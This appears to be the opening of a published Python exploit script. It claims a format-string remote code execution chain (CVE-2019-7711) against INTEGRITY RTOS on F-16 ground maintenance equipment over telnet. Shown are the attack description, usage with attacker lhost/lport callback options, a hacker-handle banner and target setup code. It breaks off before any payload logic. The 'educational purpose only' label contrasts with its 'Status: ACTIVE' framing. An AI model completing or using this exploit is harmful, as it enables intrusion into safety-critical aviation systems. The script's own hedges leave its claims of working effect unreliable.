Enables full format string chain: memory leak to defeat ASLR, %n write primitive to overwrite function pointers/task handlers, then trigger for potential RCE in F-16 avionics during ground maintenance. # Fixed in: Newer INTEGRITY-178 builds with networking disabled in safety-critical partitions # Usage: # python3 exploit.py <target> --lhost <your_ip> --lport <your_port> # # Examples: # python3 exploit.py 192.168.1.100 # # Options: # --lhost Attacker IP # --lport Attacker port # # Notes: # - Realistic ground maintenance scenario only. # - Requires manual offset analysis after leak. # - Educational purpose only. # # How to Use # # Step 1: Run against vulnerable maintenance TELNET interface. print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║ ║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║ ║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║ ║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║ ║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║ ║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║ ║ ║ ║ [ b a n y a m e r _ s e c u r i t y ] ║ ║ ║ ║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ Exploit : CVE-2019-7711 ║ ║ Target : F-16 INTEGRITY RTOS (Ground Maintenance) ║ ║ ║ ║ Status : ACTIVE ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import telnetlib import time import argparse parser = argparse.ArgumentParser(description="CVE-2019-7711 F-16 Ground Maintenance Exploit") parser.add_argument("target", help="Target IP (F-16 Ground Support Equipment)") parser.add_argument("--lhost", default="0.0.0.0", help="Attacker IP") parser.add_argument("--lport", type=int, default=4444, help="Attacker port") args = parser.parse_args() HOST = args.target PORT = 23 print("[*] Realistic Scenario: Attacking F-16 during ground maintenance via test interface") print("[!] Warning: TELNET usually disabled in real aircraft.
